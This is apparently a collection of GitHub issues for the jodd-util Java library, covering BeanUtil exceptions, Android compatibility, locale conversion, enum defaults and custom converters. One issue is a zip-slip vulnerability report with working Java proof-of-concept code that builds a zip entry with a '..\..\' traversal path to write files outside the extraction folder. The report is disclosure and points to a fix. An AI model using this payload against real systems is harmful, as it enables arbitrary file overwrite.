Hi. And thanks for the nice lib.

I would like to be able to differentiate between accessing a nested property through null and an invalid nested property.
Consider following classes:

class X
{
 Y nested;
}

class Y
{
  int a;
}

BeanUtil.declared.getProperty(new X(), "nested.a")
vs
BeanUtil.declared.getProperty(new X(), "nested.b")

should give different exceptions in my opinion.

Since nested.b is a mistake in code, while nested.a is just cause nested is null.
Or if one wants keep same exception, perhaps a flag or a mode can be created to be able to differentiate these two cases.

@igr, it would appear as if the newest Android Studio (or one of its libraries) was not too fond of the use of java.lang.management.ManagementFactory in jodd.util.SystemInfo

The error message is

Missing class java.lang.management.ManagementFactory (referenced from: long jodd.util.SystemInfo.getCurrentPID())
Missing class java.lang.management.RuntimeMXBean (referenced from: long jodd.util.SystemInfo.getCurrentPID())

That seems to be a general issue with that package on Android -> https://stackoverflow.com/a/19595885 and Kotlin/kotlinx.coroutines#959

It's possible to "skip" that error, so it's not a complete show-stopper. Rather a heads-up :)

The IO exception thrown when a ZIP file contains files with traversing path names is a bit generic.

Maybe java.lang.IllegalStateException?

Hello 👋

I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@Zlase0820) has found a potential issue, which I would be eager to share with you.

Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

Looking forward to hearing from you 👍

(cc @huntr-helper)

Current behavior

As far as I can determine, all type conversions performed by Jodd BeanUtil or rather its associated converters are all with respect to the default locale.

Expected behavior

I would love to replace Apache BeanUtils with Jodd, but we support arbitrary locales for conversion of all data types. If Jodd could add this feature, we might be able to migrate.

Description

In the method "unzip" (line 216) of the file https://github.com/oblac/jodd-util/blob/master/src/main/java/jodd/io/ZipUtil.java#L216, it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.

Version Affected

org.neo4j:neo4j-io:6.2.1(newest)

Proof of Concept

I use a maven project import the jodd-util in pom.xml.

<dependency>
	<groupId>org.jodd</groupId>
    <artifactId>jodd-util</artifactId>
    <version>6.2.1</version>
</dependency>

Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "..\..\a\b\c\poc.txt". (You should create this path firstly)

Then call the ZipUtil.unzip() method, originally intended to unzip the file to "D:\zeroVulnCode\SilentVulnJava\testData\unzip", but it will eventually be extracted to its another directory "D:\zeroVulnCode\SilentVulnJava\a\b\c\poc.txt".

This may cause the original file to be overwritten by a high-risk file.

import jodd.io.ZipUtil;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class JoddUtilUnzip {

    public static void main(String[] args) throws IOException {
        zip();  // create a poc

        String zipFile = "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip\\poc.zip";
        String destination = "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip";
        ZipUtil.unzip(new File(zipFile), new File(destination));
    }

    // create a zip
    public static void zip() {
        ZipOutputStream zos = null;
        try {
            zos = new ZipOutputStream(new FileOutputStream(
                "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip\\poc.zip"));
            String srcFile = "..\\..\\a\\b\\c\\poc.txt";  // the next filePath
            String destFile = "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip\\poc.txt";
            zos.putNextEntry(new ZipEntry(srcFile));
            FileInputStream in = new FileInputStream(destFile);
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) != -1) {
                zos.write(buf, 0, len);
            }
            zos.closeEntry();
            in.close();
        } catch (Exception e) {
            throw new RuntimeException("zip error from ZipUtils", e);
        } finally {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:

https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242

He has the same error,and fixed in CVE-2023-27603.

Tested on: jodd-util:6.0.0

I don't know if this is "by design" or a simple mishap, but I found this quite disturbing, I would have expected this to return "null" rather than an arbitrary value

@Slf4j
public class TestBeanUtilsGetForcedEnum {

  @Test
  public void testForcedGetEnum() {
    Dummy dummy = new Dummy();
    String key = "myEnum";
    log.info("dummy forcedSilent.hasProperty({}) -> {}", key, BeanUtil.forcedSilent.hasProperty(dummy, key));
    MyEnum myEnum = dummy.getMyEnum();
    log.info("dummy.getMyEnum() -> {}", myEnum);
    assertNull(myEnum);
    log.info("dummy forcedSilent.getProperty({}) -> {}", key, BeanUtil.forcedSilent.getProperty(dummy, key));
    myEnum = dummy.getMyEnum();
    log.info("dummy.getMyEnum() -> {}", myEnum);
    assertNull(myEnum);		
  }
  
  @Data
  public static class Dummy {
    String foo;
    String bar;
    MyEnum myEnum;
  }
  
  public static enum MyEnum {
    VAL1,VAL2,VAL3;
  }
}

Produces:

dummy forcedSilent.hasProperty(myEnum) -> true
dummy.getMyEnum() -> null
dummy forcedSilent.getProperty(myEnum) -> VAL1
dummy.getMyEnum() -> VAL1 (expected null)

I get that you can't instanciate a "new MyEnum", but IMO a "null enum" might be what's closest to an empty Object

"Problem" (if any...) is located in ClassUtil#newInstance(final Class<T> type)

public static <T> T newInstance(final Class<T> type) throws IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
   // ..
  if (type.isEnum()) {
    // Maybe return null here?
    return type.getEnumConstants()[0];
  }
  // ...
}

I'm using jodd.bean.BeanCopy to clone my beans, possibly with required conversions.

As far as I can see, the default converters that are registered (in TypeConverterManager.registerDefaults) do NOT include any converter to convert a value to java.time.OffsetDateTime, right ?

How can I register additional custom converters, in

new BeanCopy(srcBean, targetBean)
			.includeFields(true)
			.declared(true)
			.forced(true)
                         // .register(MyOffsetDateTimeConverter)    <= HOW ?
			.copy();